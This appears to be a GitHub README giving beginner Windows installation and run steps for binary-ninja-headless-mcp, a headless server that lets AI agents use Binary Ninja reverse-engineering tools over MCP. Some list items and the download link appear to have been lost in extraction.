Enable headless Binary Ninja reverse engineering via MCP for AI agents to perform deep analysis, patching, and type management without a GUI.
binary-ninja-headless-mcp is a server application that runs without a graphical interface. It lets AI tools perform advanced reverse-engineering tasks on software automatically. With over 180 tools available, it helps analyze and understand programs deeply. This server supports workflows that use AI to inspect software for security, bugs, or learning purposes.
You do not need to know programming to use this. This guide walks you through how to get the application on a Windows computer and run it step-by-step.
Before installing, make sure your Windows PC meets these basic requirements:
The application runs via the command line but does not need advanced hardware. A modern mid-range PC will work fine.
Follow these steps carefully to download and start using binary-ninja-headless-mcp on Windows.
Click this button to open the download page in your browser:
On the GitHub page, look for the "Releases" section on the right or in the main menu bar. This is where the download files for the server are stored.
Find the latest release (usually at the top) and locate the Windows package. It will have a name like binary-ninja-headless-mcp-win.zip or similar. Click this file to download it to your computer.
Save the file somewhere easy to find, such as your Desktop or Downloads folder.
Once downloaded, locate the zip file and extract it:
C:\binary-ninja-headless)Extraction will create the files needed to run the server.
To start the server, you need to use the Command Prompt:
cmd and press Enter.This window is where you will run commands.
In the Command Prompt, type a command to change to the folder where you extracted the files. For example, if you extracted to the Desktop:
cd %USERPROFILE%\Desktop\binary-ninja-headlessPress Enter after typing the command.
Type the command to start binary-ninja-headless-mcp:
binary-ninja-headless-mcp.exePress Enter.
The server will start running. You will see messages about its status and available tools. The program listens for AI agents to connect and use its reverse-engineering functions.
Leave this Command Prompt window open while using the server. Closing it will stop the service.
To stop the server, return to the Command Prompt window and press Ctrl + C. Confirm if asked. The server will shut down cleanly.
binary-ninja-headless-mcp runs without showing a window or user interface. Instead, it offers its features through commands and network requests from AI software.
The server includes tools that analyze software files. These tools can:
The MCP server is designed for automation and AI agents rather than direct user interaction.
Some users will connect AI programs to this server. AI agents request analysis results, and the server replies with data from its tool set.
You do not need to set up anything extra for this connection on your machine. The server automatically listens for AI agent requests on a specific network port.
To analyze files with this server, make sure you have the files ready on your computer. Supported file types include:
.exe, .dll)Copy or move the files you want to analyze into the same folder as the server or specify the full path when requested.
If you encounter issues, try the following:
To update, simply repeat the download and extract process with the newest release files. Replace the old folder or delete it first for a clean installation.
binary-ninja-headless-mcp runs locally on your machine. It does not send data outside without your permission. Make sure your PC is secure and only connect trusted AI agents.
Keep your Windows system updated to reduce security risks.
For questions or troubleshooting not covered here, visit the Issues tab on the GitHub repository page:
Here you can read existing issues or open a new one to report bugs or ask for help.
Download binary-ninja-headless-mcp here to start working with reverse-engineering AI tools on your Windows PC.
Thomas321-ai/binary-ninja-headless-mcp
March 14, 2026
April 13, 2026
Python